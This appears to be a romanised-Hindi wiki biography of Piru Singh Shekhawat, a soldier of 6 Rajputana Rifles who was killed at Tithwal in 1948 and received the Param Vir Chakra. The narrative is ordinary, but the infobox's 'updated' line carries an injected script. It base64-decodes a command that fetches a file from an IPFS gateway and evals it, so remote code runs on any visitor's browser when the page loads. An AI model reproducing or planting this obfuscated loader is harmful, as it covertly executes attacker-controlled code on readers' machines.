पीरू सिंह

piroo sianh
piroo sianh|200px|center
poora nam	piroo sianh shekhavat
janm	20 mee, 1918
janm bhoomi	jhuanjhunoo zila, rajasthan
sthan	tithaval, kashmir
sena	bharatiy thal sena
raiank	kampani havaladar
yoonit	6 rajapootana raifals
yuddh	bharat-pakistan yuddh (1947)
samman	'paramavir chakr'
nagarikata	bharatiy
any janakari	apani shiksha ke adhar par 17 agast, 1940 ko piroo sianh laans nayak ke roop mean padonnat ho ge the. isi dauran unhoanne uttar-pashchim sima par yuddh mean bhi bhag liya.
adyatan‎	15:53, 1 sitambar 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

piroo sianh shekhavat (aangrezi: Piru Singh, 6 rajapootana raifals, nan. 2831592; janm- 20 mee, 1918, jhuanjhunoo zila, rajasthan; shahadat- 18 julaee, 1948, tithaval, kashmir) bharatiy sena ke vir amar shahidoan mean ek the. kashmir ghati ke yuddh mean sakriy roop se joojhate hue unhoanne pirakaanti aur ledigani thikanoan par apani fateh hasil ki thi. varsh 1948 mean darapari ke yuddh mean piroo sianh ne viragati prapt ki. unaki virata aur balidan ke lie unhean maranoparaant bharat ke sarvochch sainik samman "paramavir chakr" se sammanit kiya gaya tha.

janm tatha shiksha

piroo sianh ka janm 20 mee, 1918 ko rajasthan ke jhuanjhunoo zile ke beri gaanv mean hua tha. unake pita ke tin putr tatha char putriyaan thian. piroo sianh apane bhaiyoan mean sabase chhote the. sat varsh ki ayu mean unhean skool bheja gaya, lekin piroo sianh ka man skooli shiksha mean nahian laga. skool mean ek sathi se unaka jhag da ho gaya tha. tab skool ke adhyapak ne unhean daant lagaee. piroo sianh ne bhi apani slet vahian par pataki aur bhag gaye. isake bad ve kabhi palat kar skool nahian gaye.

vyavasay

skooli shiksha mean man nahian lagane par piroo sianh ke pita ne unhean kheti ba di mean laga liya. vah ek sampann kisan the. kheti mean piroo sianh ne apani ruchi dikhaee. vah apane pita ki bharapoor madad kiya karate the. unhoanne kisani ka kary achchhi tarah se sikh liya tha. kisani ke atirikt kee prakar ke sahasik kheloan mean bhi unaka bahut man lagata tha. shikar karane ke to vah bachapan se hi shaukin rahe the. apane is shauq ke karan vah kee bar ghayal bhi hue the.

sena mean bharti

shikar ke shauq ne hi piroo sianh ko sena mean ane aur phauji banane ke lie prerit kiya tha. 1936 ko piroo sianh ne phauj mean kadam rakha. unhean 10/1^st panjab mean prashikshan ke lie liya gaya. phir 1 mee, 1937 ko unhean 5/1^st panjab mean niyukt kar liya gaya. phauj mean ane ke bad hi piroo sianh ke charitr mean ashcharyajanak badalav aya. skool mean unhean padhaee se chidh thi, lekin phauj mean vah padhaee ki or se behad ganbhir sainik siddh hue. kuchh hi varshoan mean unhoanne 'iandiyan armi pharst klas sartiphiket aauf ejukeshan' saphalatapoorvak pa liya.

padonnati

apani shiksha ke adhar par 17 agast, 1940 ko piroo sianh laans nayak ke roop mean padonnat ho ge. isi dauran unhoanne uttar-pashchim sima par yuddh mean bhi bhag liya. march, 1941 mean vah nayak banaye ge. sitambar, 1941 ko vah shiksha ke bal par hi panjab rejimeantal seantar mean ianstraktar bane, jahaan vah aktoobar, 1945 tak kary karate rahe. faravari, 1942 mean ve havaladar ke roop mean padonnat hue. phir mee, 1943 mean vah kampani havaladar mejar ban gaye. unaki tarakki ka yah rujhan hamesha yah batata raha ki piroo sianh ek karmath, bahadur aur jimmedar phauji haian.

jammoo-kashmir ka mamala

varsh 1947-1948 mean jammoo-kashmir kshetr, jo l daee ka maidan ban gaya tha, usake pichhe british raj dvara 3 joon, 1947 ko ki gee vah ghoshana thi, jo unhoanne desh ke vibhajan ke sath-sath ki thi. darasal, vah ek chal thi, jo british raj ki kutilata ko ujagar kar gee thi. vah bhi tab, jab vah bharat ko svatantr karane ka nirnay bakayada ghoshit kar chuke the. british raj ne prastav kiya tha ki desh ke vibhajan ke bad akhand bharat ki sabhi riyasatean yah chunane ke lie svatantr haian ki vah bharat mean rahana chahati haian ya pakistan se ju dana chahati haian ya phir unhean svatantr rahana hi pasand hai. inamean se jo riyasatean svatantr rahana chahati thian, unamean maharaja harisianh bhi the, jinaka rajy jammoo-kashmir mean tha. unhoanne isake nirnay karane ki prakriya mean janamat jutana pasand kiya, jisake lie unhean kuchh samay chahie tha.

pakistan ka kashmir par hamala

harisianh ne isake lie bharat tatha pakistan se kuchh samay thaharane ka nivedan kiya. bharat ne unake is nivedan ko man liya, lekin pakistan to bas har hal mean kashmir ko pana chahata tha. usane maharaja harisianh ke nivedan ko nahian mana. pakistan ne ek rananiti ke tahat kashmir ki vah apoorti rok di, jo usake kshetr se kashmir hamesha pahuanchati thi. is apoorti mean rashan, tel, eedhan adi ki bahut hi avashyak samagri thian. isake bad pakistan ne poore sainy bal ke sath kashmir par hamala kar diya. usaka irada maharaja harisianh par dabav dalane ka tha ki vah pakistan ke paksh mean apana mat prakat karean aur pakistan ke sath ju d jayean. lekin pakistan ko nirasha hi hath aee, kyoanki maharaja harisianh ne bharat ke paksh mean mat prakat kiya aur bharat se madad ki guhar ki. aisi sthiti mean ab bharat ke lie madad karana asan tha, kyoanki maharaja ki sahamati se jammoo-kashmir bharat ka ho chuka tha. 26 aktoobar, 1947 ko maharaja harisanh ne bharat ke paksh mean apana mat rakha aur 31 aktoobar ko bharat is yuddh mean pakistan se mukabale ke lie a kh da hua. yah yuddh kee morchoan par ek sath l da gaya. unamean se ek morcha darapari ka tha, jahaan kampani havaladar piroo sianh niyukt the.

bahaduri

uttari tithaval ki 'di' kampani mean piroo sianh havaladar mejar ke roop mean niyukt the aur is kampani ko jimmedari sauanpi gee thi ki vah paha di par jami dushman ki tuk di par hamala karake us par kaboo kar le. dushman ne bahut salike se midiyam mashinaganean laga kar apani rananiti jama rakhi thi aur usaki or se vah sab raste nishane par the, jinake jarie un par hamala bola ja sakata tha. dushman ke bankaroan se grened pheanke ja rahe the. havaladar mejar kampani ki ekadam agrim pankti mean age badh rahe the. piroo sianh ne dekha ki unaki adhe se jyada tuk di tabah ho chuki hai, lekin unhoanne himmat nahian hari. poore josh se yuddhanad karate hue unhoanne apane bache hue javanoan ka hausala badhaya aur tezise dushman ke nikatamat midiyam mashinagan dal ki or badh ge. phatate hue grened ki kirchean piroo sianh ke kap doan aur sharir ko chirate hue nikalati ja rahi thian, lekin piroo sianh ko isaki jara bhi paravah nahian thi aur vah apani hiphajat ki chinta kie bagair age badh rahe the. unake sharir se khoon bah raha tha, lekin unaka dhyan is or nahian tha. vah to apana sara dhyan bas lakshy ko pane mean laga rahe the. unhoanne uttejana se bharakar ek chhalaang dushman ke us midiyam mashinagan ke daste par lagaee aur bainet se bhedate hue unhean maut ki niand sula diya.

viragati

isi samay piroo sianh ko ehasas hua ki vah apani tuk di mean akele hi bache haian aur ek matr yoddha haian. unake shesh sathi ya to maut ki niand so ge haian ya buri tarah ghayal haian. achanak ek grened akar sidhe unake chehare par laga. unaka chehara aur aankhean khoon se bhig geean. isake bavajood unhoanne reangakar ludhakate hue, grened ki paravah kie bagair dushman ki doosari pojishan ki or kooch kar diya. piroo sianh ne poore josh se yuddh ghosh kiya aur doosari khaee mean chhipe dushmanoan par bhi sangin se var kiya aur do sainikoan ko thikane laga diya. unake is hamale ka sara nazara unaki 'si' kampani ke kamandar ne dekha, jo piroo sianh ki kampani ki golibari mean madad kar raha tha. isi ghayal avastha mean havaladar piroo sianh doosari khaee se nikal kar dushman ke tisare bankar ki or badhe. isi vakt ek goli akar sidhe unake sir mean lagi aur unhean dushman ki khaee se takara kar girate dekha gaya. yakayak dushman ko dhamake ki avaj aee, jisase pata chala ki piroo sianh ka grened apana kam kar gaya. thik isi samay piroo sianh ne bhi goli ko jhelakar pran tyag diye.

paramavir chakr

piroo sianh ne apani bahaduri bhare karaname ke lie apane pranoan ki ahuti de di, lekin vah apane sathiyoan ke age ek jinda misal chho d ge ki akele dam par bhi l di gee l daee himmat ke bal par kya natija dikhati hai. yuddh mean ve viragati ko prapt hue. jis himmat, bahaduri aur soojh-boojh se havaladar mejar piroo sianh ne morcha sanbhala, usake lie unhean maranoparant "paramavir chakr" se sammanit kiya gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh